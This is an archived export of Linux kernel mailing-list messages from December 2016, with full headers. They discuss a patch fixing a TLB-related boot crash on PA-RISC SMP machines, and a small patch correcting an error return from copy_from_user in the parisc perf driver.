diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c263301..63c10ea 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -393,6 +393,14 @@ void __init parisc_setup_cache_timing(void)
 
 	/* calculate TLB flush threshold */
 
+	/* skip TLB measure on PA8000-PA8700 CPUs */
+	if (boot_cpu_data.cpu_type >= pcxu &&
+	    boot_cpu_data.cpu_type <= pcxw2) {
+		threshold = max(cache_info.it_size, cache_info.dt_size);
+		threshold *= PAGE_SIZE;
+		goto set_tlb_threshold;
+	}
+
 	alltime = mfctl(16);
 	flush_tlb_all();
 	alltime = mfctl(16) - alltime;
@@ -411,6 +419,8 @@ void __init parisc_setup_cache_timing(void)
 		alltime, size, rangetime);
 
 	threshold = PAGE_ALIGN(num_online_cpus() * size * alltime / rangetime);
+
+set_tlb_threshold:
 	if (threshold)
 		parisc_tlb_flush_threshold = threshold;
 	printk(KERN_INFO "TLB flush threshold set to %lu KiB\n",
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix TLB related boot crash with PA8000-PA8700
 CPUs
Date: Wed, 7 Dec 2016 23:34:14 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20161207213414.hliciockser6d5da@raspberrypi-2.musicnaut.iki.fi>
References: <20161207205240.GA5917@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1481146465 12631 195.159.176.226 (7 Dec 2016 21:34:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 7 Dec 2016 21:34:25 +0000 (UTC)
User-Agent: NeoMutt/20161104 (1.7.1)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 07 22:34:21 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cEjr2-0002f7-16
	for glpp-linux-parisc@m.gmane.org; Wed, 07 Dec 2016 22:34:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932792AbcLGVeS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 7 Dec 2016 16:34:18 -0500
Original-Received: from emh03.mail.saunalahti.fi ([62.142.5.109]:37366 "EHLO
        emh03.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932640AbcLGVeS (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 7 Dec 2016 16:34:18 -0500
Original-Received: from raspberrypi-2.musicnaut.iki.fi (85-76-78-12-nat.elisa-mobile.fi [85.76.78.12])
        by emh03.mail.saunalahti.fi (Postfix) with ESMTP id 458CE188841;
        Wed,  7 Dec 2016 23:34:15 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <20161207205240.GA5917@ls3530>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27099
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27099>

On Wed, Dec 07, 2016 at 09:52:40PM +0100, Helge Deller wrote:
> Machines with PA8000-PA8700 CPUs crash during startup while we measure
> and calculate a good threshold for the TLB flush.

I haven't seen any crashed on HP c3700 (PA8700)...

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix TLB related boot crash with PA8000-PA8700
 CPUs
Date: Wed, 7 Dec 2016 17:17:02 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <9b2176a9-5f07-da7f-975b-a3ae2ead10ee@bell.net>
References: <20161207205240.GA5917@ls3530>
 <20161207213414.hliciockser6d5da@raspberrypi-2.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1481149032 4271 195.159.176.226 (7 Dec 2016 22:17:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 7 Dec 2016 22:17:12 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 07 23:17:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cEkWR-0000Bw-EC
	for glpp-linux-parisc@m.gmane.org; Wed, 07 Dec 2016 23:17:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933304AbcLGWRE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 7 Dec 2016 17:17:04 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:51038 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S932339AbcLGWRE (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 7 Dec 2016 17:17:04 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20161207221702.UXH12461.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 7 Dec 2016 17:17:02 -0500
Original-Received: from [192.168.0.125] (really [69.156.4.4]) by mtlspm02.bell.net
          with ESMTP
          id <20161207221702.SGNI3909.mtlspm02.bell.net@[192.168.0.125]>;
          Wed, 7 Dec 2016 17:17:02 -0500
In-Reply-To: <20161207213414.hliciockser6d5da@raspberrypi-2.musicnaut.iki.fi>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A090201.58488A5E.0274,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27100
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27100>

On 2016-12-07 4:34 PM, Aaro Koskinen wrote:
> On Wed, Dec 07, 2016 at 09:52:40PM +0100, Helge Deller wrote:
>> Machines with PA8000-PA8700 CPUs crash during startup while we measure
>> and calculate a good threshold for the TLB flush.
> I haven't seen any crashed on HP c3700 (PA8700)...
I believe the issue only affects SMP machines.  My c3750 also boots okay.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: [patch] parisc: perf: return -EFAULT on error
Date: Thu, 8 Dec 2016 14:32:00 +0300
Lines: 25
Approved: news@gmane.org
Message-ID: <20161208113200.GC11382@elgon.mountain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1481197235 23043 195.159.176.226 (8 Dec 2016 11:40:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Dec 2016 11:40:35 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        kernel-janitors@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: kernel-janitors-owner@vger.kernel.org Thu Dec 08 12:40:30 2016
Return-path: <kernel-janitors-owner@vger.kernel.org>
Envelope-to: glkj-kernel-janitors-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <kernel-janitors-owner@vger.kernel.org>)
	id 1cEx3t-0000kW-OY
	for glkj-kernel-janitors-2@m.gmane.org; Thu, 08 Dec 2016 12:40:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751652AbcLHLkd (ORCPT
        <rfc822;glkj-kernel-janitors-2@m.gmane.org>);
        Thu, 8 Dec 2016 06:40:33 -0500
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:46264 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751487AbcLHLkc (ORCPT
        <rfc822;kernel-janitors@vger.kernel.org>);
        Thu, 8 Dec 2016 06:40:32 -0500
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id uB8BeP09005014
        (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 8 Dec 2016 11:40:25 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by aserv0021.oracle.com (8.13.8/8.14.4) with ESMTP id uB8BeOW5017958
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 8 Dec 2016 11:40:25 GMT
Original-Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id uB8BeOuk007680;
        Thu, 8 Dec 2016 11:40:24 GMT
Original-Received: from elgon.mountain (/41.202.241.11)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 08 Dec 2016 03:40:23 -0800
Content-Disposition: inline
X-Source-IP: aserv0021.oracle.com [141.146.126.233]
Original-Sender: kernel-janitors-owner@vger.kernel.org
Precedence: bulk
List-ID: <kernel-janitors.vger.kernel.org>
X-Mailing-List: kernel-janitors@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.janitors:41396 gmane.linux.ports.parisc:27101
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.janitors/41396>

The copy_from_user() returns the number of bytes remaining to be copied
but we want to return -EFAULT if it's non-zero.

Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>

diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index 518f4f5f1f43..76c96a53fc71 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -320,8 +320,8 @@ static ssize_t perf_write(struct file *file, const char __user *buf, size_t coun
 	if (count != sizeof(uint32_t))
 		return -EIO;
 
-	if ((err = copy_from_user(&image_type, buf, sizeof(uint32_t))) != 0) 
-		return err;
+	if (copy_from_user(&image_type, buf, sizeof(uint32_t)))
+		return -EFAULT;
 
 	/* Get the interface type and test type */
    	interface_type = (image_type >> 16) & 0xffff;
--
To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: bojan prtvar <prtvar.b@gmail.com>
Newsgroups: gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: Re: [patch] parisc: perf: return -EFAULT on error
Date: Thu, 8 Dec 2016 15:53:42 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <CAOmT4fTi+7r=1OJsumVC_+ET-NXcGjsZ5+t5ppm0eZZ2VeuF-A@mail.gmail.com>
References: <20161208113200.GC11382@elgon.mountain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1481208830 4875 195.159.176.226 (8 Dec 2016 14:53:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Dec 2016 14:53:50 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        kernel-janitors@vger.kernel.org
To: Dan Carpenter <dan.carpenter@oracle.com>
Original-X-From: kernel-janitors-owner@vger.kernel.org Thu Dec 08 15:53:45 2016
Return-path: <kernel-janitors-owner@vger.kernel.org>
Envelope-to: glkj-kernel-janitors-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <kernel-janitors-owner@vger.kernel.org>)
	id 1cF04r-0008UT-TK
	for glkj-kernel-janitors-2@m.gmane.org; Thu, 08 Dec 2016 15:53:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932140AbcLHOxp (ORCPT
        <rfc822;glkj-kernel-janitors-2@m.gmane.org>);
        Thu, 8 Dec 2016 09:53:45 -0500
Original-Received: from mail-io0-f193.google.com ([209.85.223.193]:33284 "EHLO
        mail-io0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753144AbcLHOxo (ORCPT
        <rfc822;kernel-janitors@vger.kernel.org>);
        Thu, 8 Dec 2016 09:53:44 -0500
Original-Received: by mail-io0-f193.google.com with SMTP id p13so459902ioi.0;
        Thu, 08 Dec 2016 06:53:43 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=klrpCoBKjMBSrEIUsSqRvWbWQ/pJ2Zregwm7jo4ZT84=;
        b=n5PC//gqd6Ng/gvEV0+VqjtM/7xWHteUuKPCZUWoUcrB6/tIpBuAW7j+9xfUO7/ork
         145ijOXFjDs4wUUW6OyE7J5N04meb+/3WyOucG3HTihjlotmtNRSSyBsBVPK39Wu1H8J
         4RGQkT3YFOfdi6KmFrG8ruyThtb1Z1HEgbjRfrcQf5YMl5TxTBTFQDPSSq1ma8vwvO8T
         gBrVz9FGrkTbGJKS31g2rcoqfXLHYfduj4QLJvY7ar3xqxQ772hd7srZ6W7Q+lqS/nbk
         ycPYLYinGrMSClIRhsb0vSQrh89bqqrkRS7KevnZmFQL33XNFRLQRFw3/z3St8CwwS/3
         oglg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=klrpCoBKjMBSrEIUsSqRvWbWQ/pJ2Zregwm7jo4ZT84=;
        b=geY9emy0XYSYRlIe1gqWx1uYBUC9UIlbyxK/QMdly6Neysplmb4SqRF+p3Q2vlHTf2
         H38rVr2Amkcs+lhCGFmr3er1U/8LXLHU7DWB2AXvwkG0mjBsc8/Nq4/E2YJ1Hr8NVDaP
         GtJehYD78pBRGZD9hHry38tkYMXd6WyM0ogaiaOC7puoEv527z4Wd8SPDmb/GWbcinRo
         /nkuYbayBoqqPLX8s0CFd3+P4w25vNCqpuqsQ9k6DotHGVtQ1y4DaYKTJgPXCnZqyL9j
         lWX8bZtUnXbH8x7R6jKVmjn0nu9PIbDqkfa4Pcep/OVhCMj8B+kpxk8yqzutuFS/RXB9
         aBIg==
X-Gm-Message-State: AKaTC01N6PEqQlK4rUQ2JTxETMz73JBgrw0O39dPbNGHMZMs5r4GWmxtCZ7Mg/kRqNBOST6rS0K418ROrVG6KQ==
X-Received: by 10.36.148.84 with SMTP id j81mr2016663ite.35.1481208823364;
 Thu, 08 Dec 2016 06:53:43 -0800 (PST)
Original-Received: by 10.107.8.219 with HTTP; Thu, 8 Dec 2016 06:53:42 -0800 (PST)
In-Reply-To: <20161208113200.GC11382@elgon.mountain>
Original-Sender: kernel-janitors-owner@vger.kernel.org
Precedence: bulk
List-ID: <kernel-janitors.vger.kernel.org>
X-Mailing-List: kernel-janitors@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.janitors:41407 gmane.linux.ports.parisc:27102
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.janitors/41407>

Hi Dan,

On Thu, Dec 8, 2016 at 12:32 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> -       if ((err = copy_from_user(&image_type, buf, sizeof(uint32_t))) != 0)
> -               return err;

Why not delete err?

Regards,
Bojan
--
To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: Re: [patch] parisc: perf: return -EFAULT on error
Date: Thu, 8 Dec 2016 18:10:15 +0300
Lines: 19
Approved: news@gmane.org
Message-ID: <20161208151014.GW8176@mwanda>
References: <20161208113200.GC11382@elgon.mountain>
 <CAOmT4fTi+7r=1OJsumVC_+ET-NXcGjsZ5+t5ppm0eZZ2VeuF-A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1481209832 2133 195.159.176.226 (8 Dec 2016 15:10:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Dec 2016 15:10:32 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        kernel-janitors@vger.kernel.org
To: bojan prtvar <prtvar.b@gmail.com>
Original-X-From: kernel-janitors-owner@vger.kernel.org Thu Dec 08 16:10:26 2016
Return-path: <kernel-janitors-owner@vger.kernel.org>
Envelope-to: glkj-kernel-janitors-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <kernel-janitors-owner@vger.kernel.org>)
	id 1cF0L3-0001TO-1U
	for glkj-kernel-janitors-2@m.gmane.org; Thu, 08 Dec 2016 16:10:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752658AbcLHPK2 (ORCPT
        <rfc822;glkj-kernel-janitors-2@m.gmane.org>);
        Thu, 8 Dec 2016 10:10:28 -0500
Original-Received: from userp1040.oracle.com ([156.151.31.81]:21975 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752419AbcLHPK2 (ORCPT
        <rfc822;kernel-janitors@vger.kernel.org>);
        Thu, 8 Dec 2016 10:10:28 -0500
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id uB8FAKlL017859
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 8 Dec 2016 15:10:20 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id uB8FAJKb022077
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 8 Dec 2016 15:10:20 GMT
Original-Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15])
        by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id uB8FAHuG003039;
        Thu, 8 Dec 2016 15:10:18 GMT
Original-Received: from mwanda (/41.202.241.11)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 08 Dec 2016 07:10:16 -0800
Content-Disposition: inline
In-Reply-To: <CAOmT4fTi+7r=1OJsumVC_+ET-NXcGjsZ5+t5ppm0eZZ2VeuF-A@mail.gmail.com>
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: kernel-janitors-owner@vger.kernel.org
Precedence: bulk
List-ID: <kernel-janitors.vger.kernel.org>
X-Mailing-List: kernel-janitors@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.janitors:41408 gmane.linux.ports.parisc:27103
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.janitors/41408>

On Thu, Dec 08, 2016 at 03:53:42PM +0100, bojan prtvar wrote:
> Hi Dan,
> 
> On Thu, Dec 8, 2016 at 12:32 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> > -       if ((err = copy_from_user(&image_type, buf, sizeof(uint32_t))) != 0)
> > -               return err;
> 
> Why not delete err?

Gar... I'm sorry.  I'll resend.

regards,
dan carpenter

--
To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix TLB related boot crash with PA8000-PA8700
 CPUs
Date: Thu, 8 Dec 2016 20:58:17 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <53d038e2-a697-8e20-4225-48034af5aaf4@gmx.de>
References: <20161207205240.GA5917@ls3530>
 <20161207213414.hliciockser6d5da@raspberrypi-2.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1481227130 3638 195.159.176.226 (8 Dec 2016 19:58:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Dec 2016 19:58:50 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 08 20:58:46 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cF4q4-00089N-NW
	for glpp-linux-parisc@m.gmane.org; Thu, 08 Dec 2016 20:58:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753013AbcLHT6m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 8 Dec 2016 14:58:42 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:57938 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752866AbcLHT6k (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 8 Dec 2016 14:58:40 -0500
Original-Received: from [192.168.20.60] ([92.203.51.155]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lp3Qu-1ctcm825dU-00epxT; Thu, 08
 Dec 2016 20:58:20 +0100
In-Reply-To: <20161207213414.hliciockser6d5da@raspberrypi-2.musicnaut.iki.fi>
X-Provags-ID: V03:K0:7KWfFi+sJXGu5YbQ+nwQF6w4iviJ7HKH7+Tm7Pk7smq5Pe5p/VV
 zJ7V8i5dZExa5SJtQ1vu92Ybqifravq6ZtHPeefqVkCOdw7/mlmlekxArPPpTloN83gg7Dn
 ha2px0u9TWzpuVdm608650ZGfQYsuUBEjUo13Iyhs5v+gihsgbsYEKjbRDPapRPs37WPT8i
 w1keyjWHyWT5CxdSpf5bg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:8WHMqgOsTCg=:RL6NQR1fp2w3lpkQcfkVVp
 Q7ik3SQRxuA1OzVcbTuRI2GT5b+hO/Jk8bC/32TIG0VSwewzl3O6T0wRgICT42BjMrFrphagQ
 Hh4cpgqSWk6+2xcTJK4TcqienqkQobgJytLLlAFkC0yIClUSqkon8p50E9HYzl1PwRy5BKuRu
 nZND1w0Yj4W63XXE464uydZsPmCynRKSW2Mlor4227/PFlbhZbT/vJ6Oga7hLulQ89b+tbFrE
 W3dGsUP8A8RifqSpA3z/JTFtpDoqjPi9sanhxaV+Z0F2F4p++k+6VL4a1cs6grV1d6EGjtnom
 paLFup0nRO4vHAwItJ38wW0eqRV/WkDrv9L50Yyd2JYG1wGhs/aNgxL1LbinBDUAnnfpVZevD
 GwbPKRNKK5AjzSa64hMFtudeftvrhrc+Bjj0JuY5ucXakPmpicF6wVeP/T2NqoJbnZKaKqLGh
 DoLmxgnD75WpAlDNXVm0cY1BvnTkZ4E5NT1Se57zunFa0TPpbdZQfvVBdDbLhiZUX0KSNucx4
 GPpD8rs0di5okAGjMcGgr/dMgn8tTQ4q0CzUJBW9iUt8gbc1jkgNle24urJTEqI6INj0OPUxS
 +htAJzmKh01sJ6Gj6149n/nnRo9d2VVNJmdFfaj4WUl0D1YJiFuhOSe+DdqmEWAKcTqSDjiTU
 2S9tF5+G8rrlZCenJA2O4Lhk/fLyYS/bnIAkoLrbN6FNTNjl0I7ZPeHVQTNtBQa0DvjJCCj0Y
 qkP9ROVjjW3pkq00i5BWYnpsBRg5Pn0Njw3MW+O/VlwFjPkidY8l7lMt9frJeT+X1/0eJMVn 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27104
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27104>

Hi Aaro,

On 07.12.2016 22:34, Aaro Koskinen wrote:
> On Wed, Dec 07, 2016 at 09:52:40PM +0100, Helge Deller wrote:
>> Machines with PA8000-PA8700 CPUs crash during startup while we measure
>> and calculate a good threshold for the TLB flush.
> 
> I haven't seen any crashed on HP c3700 (PA8700)...

Thanks for the feedback!
I did some additional analysis today, and it happens only on SMP machines.
I could reproduce the crash on a A500-44 and a J5000, both are 2-way boxes.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix TLB related boot crash on SMP machines
Date: Thu, 8 Dec 2016 21:00:46 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20161208200046.GA5248@ls3530>
References: <20161207205240.GA5917@ls3530>
 <20161207213414.hliciockser6d5da@raspberrypi-2.musicnaut.iki.fi>
 <53d038e2-a697-8e20-4225-48034af5aaf4@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1481227267 19527 195.159.176.226 (8 Dec 2016 20:01:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Dec 2016 20:01:07 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
